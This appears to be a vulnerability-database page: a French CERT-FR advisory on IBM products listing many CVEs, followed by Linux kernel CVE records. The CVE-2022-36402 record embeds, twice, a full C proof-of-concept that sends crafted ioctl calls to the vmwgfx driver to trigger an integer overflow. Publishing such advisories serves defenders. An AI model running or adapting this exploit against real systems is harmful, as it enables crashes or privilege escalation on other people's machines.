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CERTFR-2024-AVI-0240
Vulnerability from certfr_avis - Published: 2024-03-22 - Updated: 2024-03-22
De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquant de provoquer une élévation de privilèges, une exécution de code arbitraire et une atteinte à la confidentialité des données.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| IBM | Spectrum | Spectrum Protect Plus versions 10.1.x antérieures à 10.1.16.1 | ||
| IBM | QRadar SIEM | QRadar SIEM M7 Appliances versions antérieures à 7.5 sans le microgiciel 4.0.0 |
References
| Title | Publication Time | Tags | ||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Spectrum Protect Plus versions 10.1.x ant\u00e9rieures \u00e0 10.1.16.1",
"product": {
"name": "Spectrum",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar SIEM M7 Appliances versions ant\u00e9rieures \u00e0 7.5 sans le microgiciel 4.0.0",
"product": {
"name": "QRadar SIEM",
"vendor": {
"name": "IBM",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-22950",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-22950"
},
{
"name": "CVE-2023-1382",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1382"
},
{
"name": "CVE-2023-46813",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-46813"
},
{
"name": "CVE-2023-1838",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1838"
},
{
"name": "CVE-2022-22976",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-22976"
},
{
"name": "CVE-2022-22971",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-22971"
},
{
"name": "CVE-2021-41079",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-41079"
},
{
"name": "CVE-2023-51385",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-51385"
},
{
"name": "CVE-2023-5633",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-5633"
},
{
"name": "CVE-2022-38457",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-38457"
},
{
"name": "CVE-2021-42340",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-42340"
},
{
"name": "CVE-2023-2248",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-2248"
},
{
"name": "CVE-2022-22978",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-22978"
},
{
"name": "CVE-2023-6536",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6536"
},
{
"name": "CVE-2023-23455",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23455"
},
{
"name": "CVE-2024-0646",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-0646"
},
{
"name": "CVE-2022-22980",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-22980"
},
{
"name": "CVE-2023-40283",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-40283"
},
{
"name": "CVE-2023-45862",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-45862"
},
{
"name": "CVE-2022-45869",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-45869"
},
{
"name": "CVE-2023-6817",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6817"
},
{
"name": "CVE-2023-1074",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1074"
},
{
"name": "CVE-2023-29986",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-29986"
},
{
"name": "CVE-2023-42753",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-42753"
},
{
"name": "CVE-2023-4921",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-4921"
},
{
"name": "CVE-2023-33203",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-33203"
},
{
"name": "CVE-2023-3812",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-3812"
},
{
"name": "CVE-2021-3923",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-3923"
},
{
"name": "CVE-2023-48795",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-48795"
},
{
"name": "CVE-2022-25762",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-25762"
},
{
"name": "CVE-2023-38409",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-38409"
},
{
"name": "CVE-2023-4207",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-4207"
},
{
"name": "CVE-2023-28487",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28487"
},
{
"name": "CVE-2024-0443",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-0443"
},
{
"name": "CVE-2022-3545",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3545"
},
{
"name": "CVE-2023-2176",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-2176"
},
{
"name": "CVE-2023-2162",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-2162"
},
{
"name": "CVE-2022-36402",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-36402"
},
{
"name": "CVE-2022-21216",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-21216"
},
{
"name": "CVE-2023-3772",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-3772"
},
{
"name": "CVE-2021-22060",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-22060"
},
{
"name": "CVE-2023-3567",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-3567"
},
{
"name": "CVE-2023-45871",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-45871"
},
{
"name": "CVE-2023-1075",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1075"
},
{
"name": "CVE-2023-3609",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-3609"
},
{
"name": "CVE-2023-52071",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-52071"
},
{
"name": "CVE-2023-26545",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-26545"
},
{
"name": "CVE-2022-3640",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3640"
},
{
"name": "CVE-2023-6535",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6535"
},
{
"name": "CVE-2023-2269",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-2269"
},
{
"name": "CVE-2022-3594",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3594"
},
{
"name": "CVE-2024-27277",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-27277"
},
{
"name": "CVE-2023-47715",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-47715"
},
{
"name": "CVE-2023-51780",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-51780"
},
{
"name": "CVE-2022-22970",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-22970"
},
{
"name": "CVE-2023-4622",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-4622"
},
{
"name": "CVE-2022-28388",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-28388"
},
{
"name": "CVE-2023-42465",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-42465"
},
{
"name": "CVE-2023-6606",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6606"
},
{
"name": "CVE-2022-31690",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-31690"
},
{
"name": "CVE-2023-0597",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-0597"
},
{
"name": "CVE-2023-4623",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-4623"
},
{
"name": "CVE-2024-0853",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-0853"
},
{
"name": "CVE-2023-51042",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-51042"
},
{
"name": "CVE-2021-22096",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-22096"
},
{
"name": "CVE-2023-28486",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-28486"
},
{
"name": "CVE-2022-29885",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-29885"
},
{
"name": "CVE-2023-5717",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-5717"
},
{
"name": "CVE-2023-2166",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-2166"
},
{
"name": "CVE-2022-27772",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-27772"
},
{
"name": "CVE-2023-1192",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1192"
},
{
"name": "CVE-2023-6610",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6610"
}
],
"initial_release_date": "2024-03-22T00:00:00",
"last_revision_date": "2024-03-22T00:00:00",
"links": [],
"reference": "CERTFR-2024-AVI-0240",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2024-03-22T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Ex\u00e9cution de code arbitraire"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans \u003cspan\nclass=\"textit\"\u003eles produits IBM\u003c/span\u003e. Certaines d\u0027entre elles\npermettent \u00e0 un attaquant de provoquer une \u00e9l\u00e9vation de privil\u00e8ges, une\nex\u00e9cution de code arbitraire et une atteinte \u00e0 la confidentialit\u00e9 des\ndonn\u00e9es.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits IBM",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7144944 du 21 mars 2024",
"url": "https://www.ibm.com/support/pages/node/7144944"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7144861 du 20 mars 2024",
"url": "https://www.ibm.com/support/pages/node/7144861"
}
]
}
CVE-2022-36402 (GCVE-0-2022-36402)
Vulnerability from cvelistv5 – Published: 2022-09-16 16:08 – Updated: 2024-09-17 03:38
VLAI
EPSS
Title
There is an int overflow vulnerability in vmwgfx driver
Summary
An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
Severity
6.3 (Medium)
CWE
- CWE-118 - Incorrect Access of Indexable Resource ('Range Error')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://bugzilla.openanolis.cn/show_bug.cgi?id=2072 | x_refsource_MISC |
Impacted products
Date Public
2022-09-06 00:00
Credits
Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab
{
"containers": {
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"dateUpdated": "2024-08-03T10:00:04.458Z",
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"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "kernel",
"vendor": "Linux",
"versions": [
{
"lessThan": "5.13.0-52*",
"status": "affected",
"version": "v4.3-rc1",
"versionType": "custom"
}
]
}
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"lang": "en",
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"datePublic": "2022-09-06T00:00:00.000Z",
"descriptions": [
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"lang": "en",
"value": "An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
}
],
"exploits": [
{
"lang": "en",
"value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n 0x2000,\n PROT_READ | PROT_WRITE,\n MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n strerror(errno));\n }\n \n memset(vaddr,\"a\",0x2000); \nint cmd[0x1000]={0};\ncmd[0]=1149;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2; \n\targ.context_handle=sid;\n if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[0]; \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[2]; \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context(); \n printf(\"%d\",cid); \n poc(cid); \n \n}"
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-118",
"description": "CWE-118 Incorrect Access of Indexable Resource (\u0027Range Error\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2022-09-16T16:08:01.000Z",
"orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
"shortName": "Anolis"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072"
}
],
"source": {
"defect": [
"https://bugzilla.openanolis.cn/show_bug.cgi?id=2072"
],
"discovery": "INTERNAL"
},
"title": "There is an int overflow vulnerability in vmwgfx driver",
"x_generator": {
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"x_legacyV4Record": {
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"AKA": "Anolis",
"ASSIGNER": "security@openanolis.org",
"DATE_PUBLIC": "2022-09-06T07:00:00.000Z",
"ID": "CVE-2022-36402",
"STATE": "PUBLIC",
"TITLE": "There is an int overflow vulnerability in vmwgfx driver"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "kernel",
"version": {
"version_data": [
{
"version_affected": "\u003e=",
"version_name": "5.13.0-52",
"version_value": "v4.3-rc1"
}
]
}
}
]
},
"vendor_name": "Linux"
}
]
}
},
"credit": [
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"lang": "en",
"value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n 0x2000,\n PROT_READ | PROT_WRITE,\n MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n strerror(errno));\n }\n \n memset(vaddr,\"a\",0x2000); \nint cmd[0x1000]={0};\ncmd[0]=1149;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2; \n\targ.context_handle=sid;\n if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[0]; \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[2]; \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context(); \n printf(\"%d\",cid); \n poc(cid); \n \n}"
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CVE-2022-38457 (GCVE-0-2022-38457)
Vulnerability from cvelistv5 – Published: 2022-09-09 14:39 – Updated: 2024-09-17 02:11
VLAI
EPSS
Title
There is an UAF vulnerability in vmwgfx driver
Summary
A use-after-free(UAF) vulnerability was found in function 'vmw_cmd_res_check' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
Severity
6.3 (Medium)
CWE
- CWE-416 - Use After Free
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://bugzilla.openanolis.cn/show_bug.cgi?id=2074 | x_refsource_MISC |
Impacted products
Date Public
2022-09-06 00:00
Credits
Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab
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CVE-2022-45869 (GCVE-0-2022-45869)
Vulnerability from cvelistv5 – Published: 2022-11-30 00:00 – Updated: 2025-04-24 18:57
VLAI
EPSS
Summary
A race condition in the x86 KVM subsystem in the Linux kernel through 6.1-rc6 allows guest OS users to cause a denial of service (host OS crash or host OS memory corruption) when nested virtualisation and the TDP MMU are enabled.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- n/a
- CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Assigner
References
1 reference
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CVE-2023-0597 (GCVE-0-2023-0597)
Vulnerability from cvelistv5 – Published: 2023-02-23 00:00 – Updated: 2025-03-12 19:17
VLAI
EPSS
Summary
A flaw possibility of memory leak in the Linux kernel cpu_entry_area mapping of X86 CPU data to memory was found in the way user can guess location of exception stack(s) or other important data. A local user could use this flaw to get access to some important data with expected location in memory.
Severity
5.5 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
Assigner
References
3 references
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CVE-2023-1074 (GCVE-0-2023-1074)
Vulnerability from cvelistv5 – Published: 2023-03-27 00:00 – Updated: 2025-03-19 15:44
VLAI
EPSS
Summary
A memory leak flaw was found in the Linux kernel's Stream Control Transmission Protocol. This issue may occur when a user starts a malicious networking service and someone connects to this service. This could allow a local user to starve resources, causing a denial of service.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
6 references
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CVE-2023-1075 (GCVE-0-2023-1075)
Vulnerability from cvelistv5 – Published: 2023-03-27 00:00 – Updated: 2025-02-24 17:05
VLAI
EPSS
Summary
A flaw was found in the Linux Kernel. The tls_is_tx_ready() incorrectly checks for list emptiness, potentially accessing a type confused entry to the list_head, leaking the last byte of the confused field that overlaps with rec->tx_ready.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Linus kernel |
Affected:
unknown
|
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CVE-2023-1192 (GCVE-0-2023-1192)
Vulnerability from cvelistv5 – Published: 2023-11-01 19:01 – Updated: 2025-02-27 20:36
VLAI
EPSS
Title
Use-after-free in smb2_is_status_io_timeout()
Summary
A use-after-free flaw was found in smb2_is_status_io_timeout() in CIFS in the Linux Kernel. After CIFS transfers response data to a system call, there are still local variable points to the memory region, and if the system call frees it faster than CIFS uses it, CIFS will access a free memory region, leading to a denial of service.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-416 - Use After Free
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://access.redhat.com/security/cve/CVE-2023-1192 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2154178 | issue-trackingx_refsource_REDHAT |
| https://git.kernel.org/pub/scm/linux/kernel/git/t… |
Impacted products
6 products
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | kernel | ||
| Red Hat | Red Hat Enterprise Linux 6 |
cpe:/o:redhat:enterprise_linux:6 |
|
| Red Hat | Red Hat Enterprise Linux 7 |
cpe:/o:redhat:enterprise_linux:7 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Fedora | Fedora |
Date Public
2022-10-02 00:00
Credits
Red Hat would like to thank Pumpkin (@u1f383), working with DEVCORE Internship Program for reporting this issue.
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CVE-2023-1382 (GCVE-0-2023-1382)
Vulnerability from cvelistv5 – Published: 2023-04-19 00:00 – Updated: 2025-03-19 15:37
VLAI
EPSS
Summary
A data race flaw was found in the Linux kernel, between where con is allocated and con->sock is set. This issue leads to a NULL pointer dereference when accessing con->sock->sk in net/tipc/topsrv.c in the tipc protocol in the Linux kernel.
Severity
4.7 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
1 reference
Impacted products
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CVE-2023-1838 (GCVE-0-2023-1838)
Vulnerability from cvelistv5 – Published: 2023-04-05 00:00 – Updated: 2024-08-02 06:05
VLAI
EPSS
Summary
A use-after-free flaw was found in vhost_net_set_backend in drivers/vhost/net.c in virtio network subcomponent in the Linux kernel due to a double fget. This flaw could allow a local attacker to crash the system, and could even lead to a kernel information leak problem.
Severity
No CVSS data available.
CWE
Assigner
References
Impacted products
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CVE-2023-2162 (GCVE-0-2023-2162)
Vulnerability from cvelistv5 – Published: 2023-04-19 00:00 – Updated: 2025-03-19 15:32
VLAI
EPSS
Summary
A use-after-free vulnerability was found in iscsi_sw_tcp_session_create in drivers/scsi/iscsi_tcp.c in SCSI sub-component in the Linux Kernel. In this flaw an attacker could leak kernel internal information.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
3 references
Impacted products
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Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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